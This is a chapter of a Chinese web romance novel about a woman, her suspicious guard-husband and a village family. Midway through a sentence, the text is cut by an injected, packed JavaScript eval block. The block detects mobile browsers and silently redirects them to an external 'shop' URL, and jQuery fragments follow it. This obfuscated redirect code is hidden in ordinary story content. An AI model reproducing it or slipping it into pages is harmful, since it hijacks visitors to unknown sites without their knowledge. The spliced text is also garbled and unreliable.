10.坦诚
作品:《和追杀我的锦衣卫成亲了》 更长漏永,明月已慢慢西沉,寒星也疏淡下来。清风掠过窗外枝条,不知何时,天边微露熹光。
放心不下,周大娘一早来了。
江微遥趴在床边小憩,听到推门的动静便醒了,周大娘讪讪道:“还是把你吵醒了。”
“没有。”江微遥解释,“是被这香气馋醒了。”
周大娘拎着一方食盒,装着两碗甜粥和几碟素菜,又在路上买了八个肉包子。
闻言,她赶紧将肉包子递给江微遥,笑道:“你可要尝尝这肉包,别看便宜,味道极佳。”
江微遥接过咬了一口。
雪白面皮蒸的暄软,肉馅鲜浓多汁混着葱香已渗透面皮,一口咬下去,热气腾腾,油香适度,一点都不发腻。
“确实好吃。”
江微遥赞不绝口,又疑惑:“怎么不见我夫君?”
周大娘刚想答,余光瞥见窗台,笑了起来:“我就说这小娘子见不到你一准要问。”
裴云蘅沿着回廊走进来。
打趣完人,周大娘转头对江微遥解释:“小裴腿脚快,让他帮我去前院寻大夫,二丫的伤该换药了。”
周大娘满脸促狭地看着江微遥:“我这老胳膊老腿,使唤使唤你夫君,你可别介意。”
江微遥低下头不敢抬起:“您有什么活只管吩咐给他,我有什么好介意的。”
她本想演出羞涩模样,奈何昨夜未睡好,脸怎么都憋不红,只得作罢。
垂着眼,裴云蘅对这些话置若罔闻。
他眼皮生的单薄,垂眸时更显寡情,像是冬日山巅上那一捧新雪,有几分不近人情的冷漠。
周大娘见状,不由在心中为江微遥叹息一声。
将二丫叫醒后,四人一同坐下来吃早膳。
江微遥是真心觉得这肉包好吃,故而,她特意对裴云蘅说:“夫君你尝尝这包子,鲜香味美。”
裴云蘅为人警惕。
他不仅警惕、敏锐、多疑,还对她极其提防。
只要经过她手的吃食,只要她说好吃的膳食,裴云蘅通通避之不及。
果然,她话音落下,本欲去拿肉包的裴云蘅手腕一顿,又收了回来。
江微遥便非常自然的将他那份肉包都吃了,心满意足。
周大娘看出了门道,眉开眼笑:“原来小裴是个外冷内热,会疼娘子的。”
“......”
眉心微紧,裴云蘅实在不知这个结论是如何得出来的。
“是啊。”揉着吃撑的肚子,江微遥不遗余力为他戴高帽,“夫君待我极好,凡是我说好吃,他都不会多食。”
周大娘给予肯定:“这才是好的。”
裴云蘅:“......”
深吸一口气,他将筷子放了下来。
待医馆的坐堂大夫来时,他立刻出去了。
立在廊下,修长挺拔的身形独得春色偏爱,几缕天光映在他的眉眼,却更添几分疏离。
江微遥若有所思地收回目光。
看着大夫换药,周大娘随口问道:“换药而已,您怎么亲自来了?小冬呢,这些杂事交给他便罢。”
小冬是药堂的伙计,也是学徒,往日换药都是他来。
“谁知道这兔崽子跑哪儿去了,一大早便不见人,八成是又跑去赌了!”赵大夫一边骂一边叮嘱:“还是不要沾水,伤势已经见好了。”
小冬是刘伯的大儿子,周大娘有心想要为他说两句好话,又觉得小冬行事确实毛躁。
叹了口气,周大娘决定还是回去劝刘伯多加管束。
待赵大夫离去后,一直沉默不语的二丫突然走到周大娘身前,跪了下来。
“我的儿,你这是干什么?”周大娘一惊,连忙要搀扶二丫起来。
“娘,我错了......”
一行情泪流下来,二丫哭着不肯起来:“女儿任性妄为,说了许多错话,让娘在村子里难做了。”
二丫一哭,周大娘便也没忍住落了泪:“你这傻孩子,一家人说这些作甚,只要你好娘便心安了。你阿姐......这是命啊,娘也无能为力......”
二丫不再言语,只是抱着周大娘狠狠哭了一场。
江微遥也跟着掉了眼泪。
一时间,大大小小的哭声填满整间屋子。
裴云蘅漫不经心看去。
江微遥正垂头落泪,连眼眶都哭红了去。
可以看出她昨夜绝对没有藏私,与二丫抑扬顿挫的哭声简直像是一个模子里刻出来的,就连高低起伏的音调都一样。
这便是她全部的手段了吗?
剑眉轻轻下压,裴云蘅喉间溢出一声极淡的嗤笑,他索然无味地收回视线,懒得再看。
“阿娘......”二丫哽咽着喊了一声,“我想回村去。”
周大娘脸上神色一僵。
“女儿保证绝不会再闹了。”二丫紧紧拽着周大娘的手指,“阿姐即将出嫁,怎么也要让我送送她,我、我怕日后再也见不到她了......”
身子狠狠一颤,周大娘哪里还说得出拒绝的话,终是流着泪点头。
只是虽决定回去,却也不急于这一时半刻,江微遥昨晚守了一夜,困乏疲倦,眼下自然要去歇一歇。
“夫君。”
宽慰了二人两句,江微遥走到门前,开口唤道:“你送我去昨夜歇脚的厢房吧。”
不等裴云蘅开口,周大娘便道:“正是,小裴若是不跟着,那寺庙的小僧不认你,恐怕不会放你入厢房。”
“夫君。”
似是怕他拒绝,江微遥又低低唤了一声。
眉眼间不易察觉的寒霜又深了几分,裴云蘅侧首打量了一眼她的神情,一言不发的转身走了。
他今日似是比往常还要冷几分。
江微遥佯装不知,赶紧跟上。
“照料病人真是件苦差事,你看,我熬得眼睛都红了。”
江微遥可怜巴巴指着眼,却没有指望裴云蘅真的看过来,毕竟以往他对于这些话都是置之不理的。
不曾想,今日话音刚落,裴云蘅竟真的掀起眼皮,那双黑眸意味不明地望了过来。
半晌后,他似是轻轻勾了勾唇:“确实辛苦。”
江微遥脚步一顿,只觉毛骨悚然,面上倒并未露出丝毫破绽,顺着裴云蘅的话叽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369961|199664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叽喳喳下去。
直到入了寺庙,脚步停在厢房门前,她才停了话音。
裴云蘅等着她推门进去后离开,江微遥却站在门前左右张望了一下,伸手去拉裴云蘅的衣袖:“夫君,我有话要跟你说。”
裴云蘅剑眉微挑。
江微遥一脸急切,加重了语气:“是要紧事,夫君快进来。”
说着,她硬是将裴云蘅拉进来,又赶紧回去关门,连窗户也掩上了。
指节叩着桌面,裴云蘅双眸微眯,不紧不慢地问:“什么要紧事?”
揪着衣角挪到裴云蘅跟前,江微遥低着头欲言又止:“我说了,夫君可不能怪我。”
她这副吞吞吐吐的模样看着实在眼熟,裴云蘅眉心忽而拢起,狐疑道:“你把医馆的厨房也给毁坏了?”
江微遥:“?”
“......什么嘛,才不是!”江微遥大声反驳,“是......关于二丫的。”
神色一顿,裴云蘅眼睑微抬,不动声色地看着她。
“昨夜,二丫想要溜走被我发现了,我把她叫住询问,没成想竟问出了大事......”
江微遥没有隐瞒,将昨夜与二丫的谈话一字一句复述一遍,包括她教二丫如何示弱的话。
江微遥讪笑道:“我知道不该多管闲事,可我实在看不下去了,我就说这村子里不对劲儿,他们竟然无视朝廷律法,做出这般天理难容之事......”
裴云蘅先是沉默,黑眸沉沉看她,冷冽的眸色中掺了几分始料未及的怔忡。
他原以为......
原以为昨夜是狐狸暴露出了真面目。
本还在冷眼旁观她接下来的伎俩,不成想,此时狐狸竟然将自己的真面目全盘托出,且洋洋得意......
“被父亲接回家后,我时常哭,最知道怎么哭才能打动人,昨夜言传身教今日二丫果然哭得可怜,哭得出色,哭得与众不同......”
说着说着,江微遥甚至都不心虚了,连头都扬了起来。
“为何要告诉我?”薄唇微抿,裴云蘅出声打断她的自得。
“什么?”江微遥疑惑。
定定地看着江微遥,裴云蘅问:“为何要将这些告诉我?”
示弱既然是武器,可以麻痹敌人。
那么,你为何要如此坦荡的告诉我?
闻言,江微遥却好似更加疑惑了:“你我夫妇本为一体,自然是坦诚相对,为何要隐瞒?”
她目光灼灼,理直气壮地反问回来。
长睫微微颤动,裴云蘅下意识避开江微遥看过来的目光,一时失语。
见他沉默,江微遥似又心虚起来:“我如今细细回想才知害怕,我们两个在村子里势单力薄,若是真坏了里正的事,会不会被报复......”
那熟悉的哭声又响了起来,江微遥眼泪一串串往下掉,哽咽道:“夫君,你倒是说句话啊,我害怕......”
还是这样熟悉的腔调。
还是这样熟悉的哽咽。
一手撑着额角难掩复杂神色,裴云蘅思绪尚未理清,听着这余音绕梁的哭声,忽而有些头疼。

